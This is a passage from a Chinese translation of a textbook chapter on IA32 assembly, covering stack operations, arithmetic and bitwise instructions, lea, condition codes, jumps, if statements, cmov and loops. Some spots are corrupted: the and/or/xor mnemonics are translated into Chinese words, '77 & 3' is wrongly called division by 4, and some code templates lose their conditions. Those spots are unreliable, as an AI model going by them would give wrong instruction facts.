| | `mov S,(%esp)` |
| `pop D` | 弹出栈顶元素并将其放入位置 D。 |
| | 等价于: |
| | `mov (%esp),D` |
| | `add $4,%esp` |
请注意,表 8-4 中的三条指令需要两个操作数,而表 8-5 中的 `push` 和 `pop` 指令每条只需要一个操作数。
#### 8.2.1 将所有内容整合:一个更具体的例子
让我们更仔细地看一下 `adder2` 函数。
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
以及其对应的汇编代码:
0804840b
804840b: 55 push %ebp
804840c: 89 e5 mov %esp,%ebp
804840e: 8b 45 08 mov 0x8(%ebp),%eax
8048411: 83 c0 02 add $0x2,%eax
8048414: 5d pop %ebp
8048415: c3 ret
汇编代码由一条 `push` 指令开始,接着是几条 `mov` 指令、一个 `add` 指令、一条 `pop` 指令,最后是一个 `ret` 指令。为了理解 CPU 如何执行这组指令,我们需要回顾程序内存的结构(参见第 64 页的“程序内存的各个部分与作用域”)。回想一下,每次程序执行时,操作系统都会为新程序分配地址空间(也称为 *虚拟内存*)。虚拟内存和相关的进程概念将在第十三章中更详细地介绍;目前,只需把进程看作是正在运行的程序的抽象,虚拟内存看作是为单个进程分配的内存。每个进程都有自己的一块内存区域,称为 *调用栈*。请记住,调用栈位于进程/虚拟内存中,而寄存器则位于 CPU 上。
图 8-2 展示了 `adder2` 函数执行前调用栈和寄存器的示例状态。

*图 8-2:执行前的执行栈*
请注意,栈朝 *较低* 地址方向增长。寄存器 `%eax` 和 `%edx` 当前包含垃圾值。程序内存中代码段的指令地址(0x804840b–0x8048415)已缩短为 0x40b–0x415,以提高图示的可读性。同样,程序内存中调用栈段的地址已从 0xffffd108–0xffffd110 缩短为 0x108–0x110。实际上,调用栈的地址位于程序内存中比代码段地址更高的位置。
请特别注意寄存器 `%esp` 和 `%ebp` 的初始(假设)值:分别为 0x10c 和 0x12a。当前调用栈在栈地址 0x110 处存储着值 0x28(或 40)(为什么和如何存储到这里的将在我们关于“汇编中的函数”讨论中,详见 第 326 页)。以下图中的左上箭头直观地表示当前正在执行的指令。`%eip` 寄存器(或指令指针)显示下一条要执行的指令。最初,`%eip` 包含地址 0x40b,这对应于 `adder2` 函数中的第一条指令。

第一条指令(`push %ebp`)将 `%ebp`(或 0x12a)中的值复制到栈顶。执行后,`%eip` 寄存器指向下一条要执行的指令的地址(或 0x40c)。`push` 指令将栈指针减小 4(即栈“增长”了 4 字节),导致新的 `%esp` 值为 0x108。回想一下,`push %ebp` 指令等同于:
sub $4,%esp
mov %ebp,(%esp)
换句话说,从栈指针中减去 4,并将 `%ebp` 寄存器的内容复制到栈指针所指向的位置 `(%esp)` 中。

回想一下,`mov` 指令的结构是 `mov S,D`,其中 S 是源位置,D 是目标位置。因此,下一条指令(`mov` `%esp,%ebp`)将 `%ebp` 的值更新为 0x108。寄存器 `%eip` 前进到下一条要执行的指令的地址,即 0x40e。

接下来执行的是 `mov 0x8(%ebp),%eax`。这比上条 `mov` 指令要复杂一些。让我们通过查阅上一节的操作数表来解析它。首先,`0x8(%ebp)` 解释为 M[`%ebp` + 0x8]。由于 `%ebp` 包含 0x108,将 8 加到它上面得到 0x110。对 0x110 进行(栈)内存查找得到的值是 0x28(回想一下,0x28 是之前的代码将其放置到栈上的)。因此,0x28 被复制到寄存器 `%eax` 中。指令指针 `%eip` 前进到地址 0x411,即下一条要执行的地址。

随后执行的是 `add $0x2,%eax`。回想一下,`add` 指令的形式是 `add S,D`,它将 S + D 的结果存放到目标 D 中。所以,`add` `$0x2,%eax` 将常量值 0x2 加到存储在 `%eax` 中的值(或 0x28)上,结果是 0x2A 被存入寄存器 `%eax` 中。寄存器 `%eip` 前进到指向下一条要执行的指令的地址,即 0x414。

下一条执行的指令是 `pop %ebp`。这条指令将从调用栈中“弹出”一个值,并将其放入目标寄存器 `%ebp` 中。回想一下,这条指令等同于以下两条指令的序列:
mov (%esp),%ebp
add $4,%esp
执行此指令后,栈顶(`%esp`)或 M[0x108]的值被复制到寄存器`%ebp`中。因此,`%ebp`现在包含值 0x12a。由于栈向较低地址增长(因此,*向上缩小*),栈指针`%esp`*增加*了 4。`%esp`的新值是 0x10c,`%eip`现在指向此代码片段中最后一条要执行的指令的地址(0x415)。
最后执行的指令是`ret`。我们将在未来的章节中讨论`ret`的执行情况,特别是在讲解函数调用时,但现在需要知道的是,它为从函数返回准备了调用栈。根据惯例,寄存器`%eax`始终包含返回值(如果存在)。在本例中,函数返回值是 0x2A,对应的十进制值是 42。
在继续之前,请注意,寄存器`%esp`和`%ebp`的最终值分别为 0x10c 和 0x12a,这些值*与函数开始执行时相同*!这是调用栈的正常行为。调用栈的目的是在函数执行过程中存储每个函数的临时变量和数据。一旦函数执行完成,栈将恢复到函数调用前的状态。因此,您通常会在函数的开头看到以下两个指令。
push %ebp
mov %esp, %ebp
并且在每个函数的结尾处有以下两个指令:
pop %ebp
ret
### 8.3 算术指令
IA32 指令集架构(ISA)实现了几条与算术运算相关的指令,这些运算由算术逻辑单元(ALU)执行。表 8-6 列出了在阅读汇编时可能会遇到的几条算术指令。
**表 8-6:** 常见的算术指令
| **指令** | **翻译** |
| --- | --- |
| `add S, D` | S + D → D |
| `sub S, D` | D - S → D |
| `inc D` | D + 1 → D |
| `dec D` | D - 1 → D |
| `neg D` | -D → D |
| `imul S, D` | S × D → D |
| `idiv S` | `%eax` / S: 商 → `%eax`, 余数 → `%edx` |
`add`和`sub`指令对应加法和减法,每个指令需要两个操作数。接下来的三条条目显示了单寄存器指令,分别对应 C 语言中的自增(`x++`)、自减(`x--`)和取负(`-x`)操作。乘法指令作用于两个操作数,将积存入目标寄存器。如果积需要超过 32 位来表示,结果将被截断为 32 位。
除法指令的工作方式略有不同。在执行`idiv`指令之前,假定寄存器`%eax`包含被除数。对操作数 S 执行`idiv`时,将`%eax`的内容除以 S,并将商存入寄存器`%eax`,余数存入寄存器`%edx`。
#### 8.3.1 位移指令
位移指令使编译器能够执行位移操作。乘法和除法指令通常需要较长时间才能执行。位移为编译器提供了一种针对 2 的幂次方的乘法因子和除数的快捷方式。例如,要计算`77 * 4`,大多数编译器会将此操作转换为`77 ≪ 2`,以避免使用`imul`指令。同样,要计算`77 / 4`,编译器通常将此操作转换为`77 ≫ 2`,以避免使用`idiv`指令。
请记住,左位移和右位移根据目标是算术(有符号)还是逻辑(无符号)位移,翻译为不同的指令。
**表 8-7:** 位移指令
| **指令** | **翻译** | **算术或逻辑?** |
| --- | --- | --- |
| `sal v, D` | D `≪` v → D | 算术 |
| `shl v, D` | D `≪` v → D | 逻辑 |
| `sar v, D` | D `≫` v → D | 算术 |
| `shr v, D` | D `≫` v → D | 逻辑 |
每个位移指令都有两个操作数,其中一个通常是寄存器(用 D 表示),另一个是位移值(*v*)。在 32 位系统上,位移值作为单个字节进行编码(因为位移超过 31 是没有意义的)。位移值 *v* 必须是常量或存储在寄存器`%cl`中。
**注意:不同版本的指令帮助区分汇编层级的类型**
在汇编层级,没有类型的概念。然而,请记住,右移操作的行为取决于值是否有符号。在汇编层级,编译器使用不同的指令来区分逻辑位移和算术位移!
#### 8.3.2 位运算指令
位运算指令使编译器能够对数据执行按位操作。编译器使用位运算的一种方式是进行某些优化。例如,编译器可能选择用操作`77 &` `3`来实现 77 除以 4,而不是使用更昂贵的`idiv`指令。
表 8-8 列出了常见的位运算指令。
**表 8-8:** 位运算
| **指令** | **翻译** |
| --- | --- |
| `与 S,D` | S `&` D → D |
| `或 S,D` | S `|` D → D |
| `异或 S,D` | S `^` D → D |
| `not D` | `~`D → D |
记住,位运算的`not`与否定(`neg`)是不同的。`not`指令翻转位,但不加 1。小心不要混淆这两条指令。
**警告:仅在需要时在 C 代码中使用位运算!**
阅读完本节后,可能会有冲动想将 C 代码中的常见算术运算替换为位移和其他位运算。*不*推荐这样做。大多数现代编译器足够智能,能够在合适的时候将简单的算术运算替换为位运算,因此程序员无需手动做这些替换。一般而言,程序员应尽可能优先考虑代码可读性,避免过早优化。
#### 8.3.3 加载有效地址指令
*“lea 和它有什么关系呢?”*
*`lea`是什么?不过是有效地址加载而已!*
—致歉,Tina Turner
我们终于来到了*加载有效地址*(load effective address)指令,简称`lea`,这可能是让学生最困惑的算术指令。它通常用作快速计算内存位置地址的方式。`lea`指令与我们到目前为止见过的操作数结构相同,但*不*包括内存查找。无论操作数中包含的是常量值还是地址,`lea`仅执行算术运算。
例如,假设寄存器`%eax`包含常量值 0x5,寄存器`%edx`包含常量值 0x4,寄存器`%ecx`包含值 0x808(恰好是一个地址)。表 8-9 给出了一些`lea`操作的示例,它们的翻译以及相应的值。
**表 8-9:** `lea` 操作示例
| **指令** | **翻译** | **值** |
| --- | --- | --- |
| `lea 8(%eax), %eax` | 8 + `%eax` → `%eax` | 13 → `%eax` |
| `lea (%eax, %edx), %eax` | `%eax` + `%edx` → `%eax` | 9 → `%eax` |
| `lea (,%eax,4), %eax` | `%eax` × 4 → `%eax` | 20 → `%eax` |
| `lea -0x8(%ecx), %eax` | `%ecx` – `8` → `%eax` | 0x800 → `%eax` |
| `lea -0x4(%ecx, %edx, 2), %eax` | `%ecx` + `%edx` × 2 – 4 → `%eax` | 0x80c → `%eax` |
在所有情况下,`lea`指令对由源操作数 S 指定的操作数执行算术运算,并将结果放入目标操作数 D 中。`mov`指令与`lea`指令相同,*唯一的区别*是`mov`指令*必须*将源操作数中的内容视为内存位置,如果它是内存形式。而`lea`执行相同(有时复杂的)操作数算术,*无需*内存查找,从而使得编译器可以巧妙地将`lea`作为某些类型算术运算的替代。
### 8.4 条件控制与循环
本节涵盖了与条件语句和循环相关的汇编指令(参见第 30 页的“条件语句与循环”)。回想一下,条件语句使得程序员可以根据条件表达式的结果修改程序执行。编译器将条件语句转换为汇编指令,这些指令会修改指令指针(`%eip`),使其指向一个不同于程序顺序下一个地址的地址。
#### 8.4.1 前提条件
##### 条件比较指令
比较指令执行算术运算,目的是指导程序的条件执行。表 8-10 列出了与条件控制相关的基本指令。
**表 8-10:** 条件控制指令
| **指令** | **翻译** |
| --- | --- |
| `cmp R1, R2` | 比较 R2 与 R1(即,计算 R2 – R1) |
| `test R1, R2` | 计算 R1 & R2 |
`cmp` 指令比较两个寄存器 R2 和 R1 的值。具体来说,它将 R1 从 R2 中减去。`test` 指令执行按位与运算。常见的指令形式如下:
test %eax, %eax
在这个例子中,`%eax` 和其自身的按位与运算仅当 `%eax` 为零时结果为零。换句话说,这是对零值的测试,等价于以下内容:
cmp $0, %eax
与之前介绍的算术指令不同,`cmp` 和 `test` 不会修改目标寄存器。相反,这两个指令会修改一系列被称为 *条件码标志* 的单比特值。例如,`cmp` 会根据 R2 – R1 的结果是正值(大于)、负值(小于)还是零(相等)来修改条件码标志。回想一下,条件码值编码了 ALU 操作的信息(详见 第 261 页的“ALU”)。这些条件码标志是 x86 系统上 `FLAGS` 寄存器的一部分。
**表 8-11:** 常见条件码标志
| **标志** | **翻译** |
| --- | --- |
| `ZF` | 等于零(1:是;0:否) |
| `SF` | 为负(1:是;0:否) |
| `OF` | 已发生溢出(1:是;0:否) |
| `CF` | 已发生算术进位(1:是;0:否) |
表 8-11 展示了常用的条件码操作标志。回顾一下 `cmp R1, R2` 指令:
+ 如果 R1 和 R2 相等,则 `ZF` 标志被设置为 1。
+ 如果 R2 小于 `R1`(R2 – R1 结果为负值),则 `SF` 标志被设置为 1,且 R2 *小于* `R1`。
+ 如果操作 R2 – R1 结果为整数溢出(对有符号比较有用),则 `OF` 标志被设置为 1。
+ 如果操作 R2 – R1 结果为进位操作(对无符号比较有用),则 `CF` 标志被设置为 1。
`SF` 和 `OF` 标志用于有符号整数的比较操作,而 `CF` 标志用于无符号整数的比较。虽然深入讨论条件码标志超出了本书的范围,但 `cmp` 和 `test` 指令的设置使得我们接下来要讲解的指令(*跳转*指令)能够正确运行。
##### 跳转指令
跳转指令使程序的执行能够“跳跃”到代码中的新位置。在我们到目前为止追踪的汇编程序中,`%eip` 始终指向程序内存中的下一条指令。跳转指令使得 `%eip` 可以被设置为一个新的尚未执行的指令(如 `if` 语句的情况),或是一个之前已执行过的指令(如循环的情况)。
**表 8-12:** 直接跳转指令
| **指令** | **描述** |
| --- | --- |
| `jmp L` | 跳转到由 L 指定的位置 |
| `jmp *addr` | 跳转到指定的地址 |
**直接跳转指令。** 表 8-12 列出了直接跳转指令集;`L`代表*符号标签*,它是程序目标文件中的标识符。所有标签由字母和数字组成,后跟冒号。标签可以是*本地*的,也可以是*全局*的,取决于目标文件的作用域。函数标签通常是*全局*的,通常由函数名和冒号组成。例如,`main:`(或`<main>:`)用于标记用户定义的`main`函数。相比之下,作用域为*本地*的标签前面会有一个句点。例如,`.L1:`是一个可能出现在`if`语句或循环中的本地标签。
所有标签都有一个关联的地址。当 CPU 执行`jmp`指令时,它会修改`%eip`以反映标签`L`所指定的程序地址。编写汇编代码的程序员也可以使用`jmp *`指令指定要跳转到的特定地址。有时,本地标签显示为相对于函数开始的偏移量。因此,地址距离`main`开始 28 字节的指令可以用标签`<main+28>`表示。
例如,指令`jmp 0x8048427 <main+28>`表示跳转到地址 0x8048427,该地址具有关联标签`<main+28>`,表示它距离`main`函数的起始地址 28 字节。执行该指令会将`%eip`设置为 0x8048427。
**条件跳转指令。** 条件跳转指令的行为取决于由`cmp`指令设置的条件码寄存器。表 8-13 列出了常见的条件跳转指令集。每条指令以字母`j`开头,表示它是一条跳转指令。每条指令的后缀表示跳转的*条件*。跳转指令的后缀还决定了是否将数值比较解释为有符号或无符号。
**表 8-13:** 条件跳转指令;括号中的同义词
| **有符号比较** | **无符号比较** | **描述** |
| --- | --- | --- |
| `je` (`jz`) | | 等于时跳转 (==) 或零时跳转 |
| `jne` (`jnz`) | | 不等时跳转 (!=) |
| `js` | | 负数时跳转 |
| `jns` | | 非负时跳转 |
| `jg` (`jnle`) | `ja` (`jnbe`) | 大于时跳转 (>) |
| `jge` (`jnl`) | `jae` (`jnb`) | 大于或等于时跳转 (>=) |
| `jl` (`jnge`) | `jb` (`jnae`) | 小于时跳转 (<) |
| `jle` (`jng`) | `jbe` (`jna`) | 小于或等于时跳转 (<=) |
与其记住这些不同的条件跳转指令,不如通过发音来记住指令后缀。表 8-14 列出了常见的跳转指令中的字母及其对应的单词。
**表 8-14:** 跳转指令后缀
| **字母** | **单词** |
| --- | --- |
| `j` | 跳转 |
| `n` | 不 |
| `e` | 等于 |
| `s` | 有符号 |
| `g` | 大于(有符号解释) |
| `l` | 小于(有符号解释) |
| `a` | 高于(无符号解释) |
| `b` | below(无符号解释) |
读出来后,我们可以看到`jg`对应于*jump greater*,而它的有符号同义词`jnl`代表*jump not less*。同样,无符号版本`ja`代表*jump above*,而它的同义词`jnbe`代表*jump not below or equal*。
如果你把指令读出来,它有助于解释为什么某些同义词对应特定的指令。另一个需要记住的点是,术语*greater*和*less*指示 CPU 将数值比较解释为有符号值,而*above*和*below*则表示数值比较是无符号的。
##### `goto`语句
在接下来的子节中,我们将查看汇编语言中的条件语句和循环,并将其反向工程为 C 语言。当将汇编代码的条件语句和循环转换回 C 语言时,了解相应的 C 语言`goto`形式是很有帮助的。`goto`语句是 C 语言中的一种原语,它强制程序执行跳转到代码中的另一行。与`goto`语句相关的汇编指令是`jmp`。
`goto`语句由`goto`关键字后跟一个*goto 标签*组成,后者是一种程序标签,指示执行应继续到何处。因此,`goto done`意味着程序执行应跳到标记为`done`的行。C 语言中的其他程序标签示例包括前面在《switch 语句》一章中介绍的`switch`语句标签,第 122 页。
以下代码示例展示了一个`getSmallest`函数,首先是普通 C 代码(第一段),其次是其对应的 C 语言`goto`形式(第二段)。`getSmallest`函数比较两个整数(`x`和`y`)的值,并将较小的值赋给变量`smallest`。
普通 C 版本
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) { //if (conditional)
smallest = y; //then statement
}
else {
smallest = x; //else statement
}
return smallest;
}
转到版本
int getSmallest(int x, int y) {
int smallest;
if (x <= y ) { //if (!conditional)
goto else_statement;
}
smallest = y; //then statement
goto done;
else_statement:
smallest = x; //else statement
done:
return smallest;
}
这个函数的`goto`形式可能看起来有些反直觉,但让我们来讨论一下究竟发生了什么。条件语句检查变量`x`是否小于或等于`y`。
+ 如果`x`小于或等于`y`,程序将控制权转移到标记为`else_statement`的标签,该标签包含唯一的语句`smallest = x`。由于程序按顺序执行,程序接着执行`done`标签下的代码,返回`smallest`的值(`x`)。
+ 如果`x`大于`y`,则将`smallest`赋值为`y`。然后程序执行语句`goto done`,将控制权转移到`done`标签,返回`smallest`的值(`y`)。
尽管`goto`语句在编程早期常常使用,但在现代代码中它的使用被认为是不良的实践,因为它降低了代码的可读性。事实上,计算机科学家 Edsger Dijkstra 写了一篇著名的论文,猛烈抨击了`goto`语句的使用,名为《Go To 语句被认为有害》。^(1)
通常,设计良好的 C 程序不使用`goto`语句,并且不鼓励程序员使用它们,以避免编写难以阅读、调试和维护的代码。然而,理解 C 语言中的`goto`语句非常重要,因为 GCC 通常会在将 C 代码翻译成汇编之前,将包含条件语句和循环的 C 代码转换为`goto`形式。
以下小节将更详细地讲解`if`语句和循环的汇编表示。
#### 8.4.2 汇编中的`if`语句
让我们看一下汇编中的`getSmallest`函数。为了方便起见,函数在这里被重新展示。
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) {
smallest = y;
}
else {
smallest = x;
}
return smallest;
}
从 GDB 提取的相应汇编代码如下所示:
(gdb) disas getSmallest
Dump of assembler code for function getSmallest:
0x8048411 <+6>: mov 0x8(%ebp),%eax
0x8048414 <+9>: cmp 0xc(%ebp),%eax
0x8048417 <+12>: jle 0x8048421 <getSmallest+22>
0x8048419 <+14>: mov 0xc(%ebp),%eax
0x804841f <+20>: jmp 0x8048427 <getSmallest+28>
0x8048421 <+22>: mov 0x8(%ebp),%eax
0x8048427 <+28>: ret
这是我们之前看到的汇编代码的不同视图。在这里,我们可以看到与每条指令相关联的*地址*,但看不到*字节*。请注意,为了简化起见,这段汇编代码已做轻微编辑。通常用于函数创建/终止(即`push %ebp`和`mov %esp,%ebp`)以及为堆栈分配空间的指令被移除。根据惯例,GCC 将函数的第一个和第二个参数分别放置在`%ebp+8`和`%ebp+0xc`(或`%ebp+12`)的位置。为了清晰起见,我们将这些参数分别称为`x`和`y`。
让我们跟踪前面汇编代码片段的前几行。请注意,我们在这个例子中不会显式地绘制堆栈。我们将这部分留给读者作为练习,并鼓励你通过自己绘制堆栈来练习堆栈追踪技巧。
+ 第一个`mov`指令将位于地址`%ebp+8`(第一个参数,`x`)的值复制到寄存器`%eax`中。指令指针(`%eip`)被设置为下一个指令的地址,或者是 0x08048414。
+ `cmp`指令将位置`%ebp+12`(第二个参数,`y`)的值与`x`进行比较,并设置适当的条件码标志寄存器。寄存器`%eip`向下一个指令的地址推进,即 0x08048417。
+ 第三行的`jle`指令表示,如果`x`小于或等于`y`,则执行的下一条指令位于`<getSmallest+22>`(或`mov 0x8(%ebp),%eax`)的位置,且`%eip`应设置为地址 0x8048421。否则,`%eip`被设置为顺序中的下一条指令,即 0x8048419。
执行的下一条指令取决于程序是否遵循第 3 行(`<getSmallest+12>`)的分支(即是否执行跳转)。首先假设没有遵循分支。在这种情况下,`%eip`被设置为 0x8048419(即`<getSmallest+14>`),并执行以下指令序列:
+ `<getSmallest+14>`位置的`mov 0xc(%ebp),%eax`指令将`y`复制到寄存器`%eax`中。寄存器`%eip`向 0x804841f 推进。
+ `jmp`指令将寄存器`%eip`设置为地址 0x8048427。
+ 执行的最后一条指令是 `ret` 指令,表示函数的结束。在这种情况下,`%eax` 包含 `y`,`getSmallest` 返回 `y`。
现在,假设分支是在 `<getSmallest+12>` 被采取的。换句话说,`jle` 指令将寄存器 `%eip` 设置为 0x8048421(即 `<getSmallest+22>`)。接下来要执行的指令是:
+ 地址 0x8048421 处的 `mov 0x8(%ebp),%eax` 指令将 `x` 复制到寄存器 `%eax` 中。寄存器 `%eip` 随后进展到 0x8048427。
+ 执行的最后一条指令是 `ret`,表示函数的结束。在这种情况下,`%eax` 包含 `x`,`getSmallest` 返回 `x`。
然后我们可以按如下方式注释前面的汇编:
0x8048411 <+6>: mov 0x8(%ebp),%eax #copy x to %eax
0x8048414 <+9>: cmp 0xc(%ebp),%eax #compare x with y
0x8048417 <+12>: jle 0x8048421 <getSmallest+22> #if x<=y goto<getSmallest+22>
0x8048419 <+14>: mov 0xc(%ebp),%eax #copy y to %eax
0x804841f <+20>: jmp 0x8048427 <getSmallest+28> #goto <getSmallest+28>
0x8048421 <+22>: mov 0x8(%ebp),%eax #copy x to %eax
0x8048427 <+28>: ret #exit function (return %eax)
将其反向翻译回 C 代码得到:
goto 形式
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
goto assign_x;
}
smallest = y;
goto done;
assign_x:
smallest = x;
done:
return smallest;
}
翻译后的 C 代码
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
smallest = x;
}
else {
smallest = y;
}
return smallest;
}
在这些代码清单中,变量 `smallest` 对应于寄存器 `%eax`。如果 `x` 小于或等于 `y`,则执行语句 `smallest = x`,该语句与我们在 `goto` 形式的函数中对应的 `goto` 标签 `assign_x` 相关联。否则,将执行语句 `smallest = y`。`goto` 标签 `done` 用于表示应该返回 `smallest` 中的值。
请注意,前面的 C 语言翻译的汇编代码与原始的 `getSmallest` 函数略有不同。这些差异并不重要;仔细检查这两个函数可以发现,它们在逻辑上是等效的。然而,编译器首先将任何 `if` 语句转换为等效的 `goto` 形式,结果是略有不同但等效的版本。以下代码示例展示了标准的 `if` 语句格式及其等效的 `goto` 形式:
C 的 `if` 语句
if (
<then_statement>;
}
else {
<else_statement>;
}
编译器的等效 `goto` 形式
if (!
goto else;
}
<then_statement>;
goto done;
else:
<else_statement>;
done:
编译器将代码翻译成汇编时,会在条件为真时指定跳转。将这种行为与 `if` 语句的结构进行对比,在条件 *不* 满足时会发生“跳转”(到 `else`)。`goto` 形式捕获了这种逻辑差异。
考虑到原始的 `goto` 翻译版本的 `getSmallest` 函数,我们可以看到:
+ `x >= y` 对应于 `!*<condition>*`。
+ `smallest = x` 是 <else_statement>。
+ 语句 `smallest = y` 是 <then_statement>。
+ 函数中的最后一行是 `return smallest`。
用前面的注释重写函数的原始版本后,得到的代码是:
int getSmallest(int x, int y) {
int smallest;
if (x > y) { //!(x <= y)
smallest = y; //then_statement
}
else {
smallest = x; //else_statement
}
return smallest;
}
这个版本与原始的 `getSmallest` 函数完全相同。请记住,在 C 语言中以不同方式编写的函数,最终可能会转换为相同的汇编指令集。
##### cmov 指令
我们要介绍的最后一组条件指令是 *条件移动* (`cmov`) 指令。`cmp`、`test` 和 `jmp` 指令实现了程序中的 *条件控制转移*。换句话说,程序的执行会分支到多个方向。这对于优化代码来说是非常棘手的,因为这些分支非常昂贵。
相比之下,`cmov` 指令实现了 *条件数据传输*。换句话说,条件语句的 <then_statement> 和 <else_statement> 都会被执行,数据会根据条件的结果被放入相应的寄存器。
C 语言的 *三元表达式* 通常会导致编译器在跳转指令的地方生成 `cmov` 指令。对于标准的 if–then–else 语句,三元表达式的形式是:
result = (
让我们使用这种格式,将 `getSmallest` 函数重写为一个三元表达式。请记住,这个新版本的函数行为和原始的 `getSmallest` 函数完全相同:
int getSmallest_cmov(int x, int y) {
return x > y ? y : x;
}
虽然这看起来可能没有太大的变化,但让我们看看结果汇编代码。回想一下,第一和第二个参数(`x` 和 `y`)分别存储在堆栈地址 `%ebp` + 0x8 和 `%ebp` + 0xc。
0x08048441 <+0>: push %ebp #save ebp
0x08048442 <+1>: mov %esp,%ebp #update ebp
0x08048444 <+3>: mov 0xc(%ebp),%eax #copy y to %eax
0x08048447 <+6>: cmp %eax,0x8(%ebp) #compare x with y
0x0804844a <+9>: cmovle 0x8(%ebp),%eax #if (x <= y) copy x to %eax
0x0804844e <+13>: pop %ebp #restore %ebp
0x0804844f <+14>: ret #return %eax
这个汇编代码没有跳转指令。在比较 `x` 和 `y` 之后,只有当 `x` 小于或等于 `y` 时,`x` 才会被移动到返回寄存器中。像跳转指令一样,`cmov` 指令的后缀表示条件移动发生的条件。表 8-15 列出了条件移动指令的集合。
**表 8-15:** cmov 指令
| **有符号** | **无符号** | **描述** |
| --- | --- | --- |
| `cmove` (`cmovz`) | | 如果相等(==)则移动 |
| `cmovne` (`cmovnz`) | | 如果不等(!=)则移动 |
| `cmovs` | | 如果负数则移动 |
| `cmovns` | | 如果非负则移动 |
| `cmovg` (`cmovnle`) | `cmova` (`cmovnbe`) | 如果大于(>)则移动 |
| `cmovge` (`cmovnl`) | `cmovae` (`cmovnb`) | 如果大于或等于(>=)则移动 |
| `cmovl` (`cmovnge`) | `cmovb` (`cmovnae`) | 如果小于(<)则移动 |
| `cmovle` (`cmovng`) | `cmovbe` (`cmovna`) | 如果小于或等于(<=)则移动 |
编译器在将跳转指令转换为 `cmov` 指令时非常小心,尤其是在涉及副作用和指针值的情况下。在这里,我们展示了两种等效的写法来定义函数 `incrementX`:
C 代码
int incrementX(int * x) {
if (x != NULL) { //if x is not NULL
return (*x)++; //increment x
}
else { //if x is NULL
return 1; //return 1
}
}
C 语言三元形式
int incrementX2(int * x){
return x ? (*x)++ : 1;
}
每个函数接受一个整数指针作为输入,并检查它是否为 `NULL`。如果 `x` 不是 `NULL`,函数会递增并返回 `x` 解引用后的值。否则,函数返回值 1。
可能会有人认为 `incrementX2` 使用了 `cmov` 指令,因为它使用了三元表达式。然而,这两个函数生成的是完全相同的汇编代码:
0x80484cf <+0>: push %ebp
0x80484d0 <+1>: mov %esp,%ebp
0x80484d2 <+3>: cmpl $0x0,0x8(%ebp)
0x80484d6 <+7>: je 0x80484e7 <incrementX2+24>
0x80484d8 <+9>: mov 0x8(%ebp),%eax
0x80484db <+12>: mov (%eax),%eax
0x80484dd <+14>: lea 0x1(%eax),%ecx
0x80484e0 <+17>: mov 0x8(%ebp),%edx
0x80484e3 <+20>: mov %ecx,(%edx)
0x80484e5 <+22>: jmp 0x80484ec <incrementX2+29>
0x80484e7 <+24>: mov $0x1,%eax
0x80484ec <+29>: pop %ebp
0x80484ed <+30>: ret
回顾一下,`cmov` 指令 *执行条件语句的两个分支*。换句话说,`x` 无论如何都会被解引用。假设 `x` 是一个空指针。回想一下,解引用空指针会导致代码中的空指针异常,从而引发段错误。为了防止这种情况的发生,编译器选择了更安全的方式,使用了跳转指令。
#### 8.4.3 汇编中的循环
与 `if` 语句类似,汇编中的循环也使用跳转指令实现。然而,循环使得指令能够根据评估条件的结果被*重新访问*。
以下示例中所示的 `sumUp` 函数将从 1 到用户定义的整数的所有正整数相加。该代码故意写得不够优化,用来展示 C 语言中的 `while` 循环。
int sumUp(int n) {
//initialize total and i
int total = 0;
int i = 1;
while (i <= n) { //while i is less than or equal to n
total += i; //add i to total
i+=1; //increment i by 1
}
return total;
}
使用 `-m32` 选项编译这段代码,并通过 GDB 反汇编后,得到以下汇编代码:
(gdb) disas sumUp
Dump of assembler code for function sumUp:
0x804840b <+0>: push %ebp
0x804840c <+1>: mov %esp,%ebp
0x804840e <+3>: sub $0x10,%esp
0x8048411 <+6>: movl $0x0,-0x8(%ebp)
0x8048418 <+13>: movl $0x1,-0x4(%ebp)
0x804841f <+20>: jmp 0x804842b <sumUp+32>
0x8048421 <+22>: mov -0x4(%ebp),%eax
0x8048424 <+25>: add %eax,-0x8(%ebp)
0x8048427 <+28>: add $0x1,-0x4(%ebp)
0x804842b <+32>: mov -0x4(%ebp),%eax
0x804842e <+35>: cmp 0x8(%ebp),%eax
0x8048431 <+38>: jle 0x8048421 <sumUp+22>
0x8048433 <+40>: mov -0x8(%ebp),%eax
0x8048436 <+43>: leave
0x8048437 <+44>: ret
再次提醒,本例中我们不会明确绘出栈的结构。但我们鼓励读者自己绘制栈的结构。
##### 前五条指令
该函数的前五条指令为函数执行准备栈:
0x804840b <+0>: push %ebp # save ebp on stack
0x804840c <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x804840e <+3>: sub $0x10,%esp # add 16 bytes to stack frame
0x8048411 <+6>: movl $0x0,-0x8(%ebp) # place 0 at ebp-0x8 (total)
0x8048418 <+13>: movl $0x1,-0x4(%ebp) # place 1 at ebp-0x4 (i)
回想一下,栈中的位置用于存储函数中的*临时变量*。为了简化,我们将标记为 `%ebp - 0x8` 的位置称为 `total`,将 `%ebp - 0x4` 称为 `i`。`sumUp` 的输入参数位于 `%ebp` + 0x8 处。
##### 循环的核心
`sumUp` 函数中的接下来的七条指令代表了循环的核心:
0x804841f <+20>: jmp 0x804842b <sumUp+32> # goto <sumUp+32>
0x8048421 <+22>: mov -0x4(%ebp),%eax # copy i to eax
0x8048424 <+25>: add %eax,-0x8(%ebp) # add i to total (total+=i)
0x8048427 <+28>: add $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x804842b <+32>: mov -0x4(%ebp),%eax # copy i to eax
0x804842e <+35>: cmp 0x8(%ebp),%eax # compare i with n
0x8048431 <+38>: jle 0x8048421 <sumUp+22> # if (i <= n) goto <sumUp+22>
第一条指令直接跳转到 `<sumUp+32>`,这将指令指针(`%eip`)设置为地址 0x804842b。
执行的下一条指令(`<sumUp+32>` 和 `<sumUp+35>`)将 `i` 的值复制到寄存器 `%eax` 并比较 `i` 与 `sumUp` 函数的第一个参数(即 `n`)。`cmp` 指令设置适当的条件码,为 `<sumUp+38>` 处的 `jle` 指令做准备。
`<sumUp+38>` 处的 `jle` 指令执行。如果 `i` 小于或等于 `n`,则进入分支,程序执行跳转到 `<sumUp+22>`,并将 `%eip` 设置为 0x8048421。随后,以下指令依次执行:
+ `mov -0x4(%ebp),%eax` 将 `i` 复制到寄存器 `%eax`。
+ `add %eax,-0x8(%ebp)` 将 `i` 加到 `total` 上(即 `total+=i`)。
